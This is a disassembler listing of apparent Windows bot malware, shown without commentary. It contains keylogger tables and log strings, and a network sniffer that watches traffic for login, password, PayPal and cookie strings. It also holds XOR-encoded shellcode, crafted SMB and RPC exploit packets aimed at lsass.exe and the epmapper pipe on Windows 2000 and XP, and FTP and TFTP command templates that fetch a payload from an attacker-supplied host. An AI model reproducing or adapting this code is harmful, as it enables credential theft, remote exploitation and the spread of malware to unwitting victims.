		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset dword_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: _2:00426C74o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: _2:00426C70o
off_4274DC	dd offset aThBySS_	; DATA XREF: _2:00426C6Co
					; "th by: (%s!%s)."
dword_4274E0	dd 544F42h		; DATA XREF: _2:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset off_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402B84+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset loc_49005B+1	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset off_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------

loc_427BDA:				; CODE XREF: _2:00427BC8j
		call	near ptr sub_427BCA

loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------

loc_427D1A:				; CODE XREF: _2:loc_427D08j
		call	sub_427D0A

loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF:	_0:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: _0:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: _0:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------

loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8

loc_428628:				; CODE XREF: _2:loc_428620j
					; DATA XREF: sub_403249+27o ...
		pop	esp
		pop	esp

loc_42862A:				; CODE XREF: _2:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
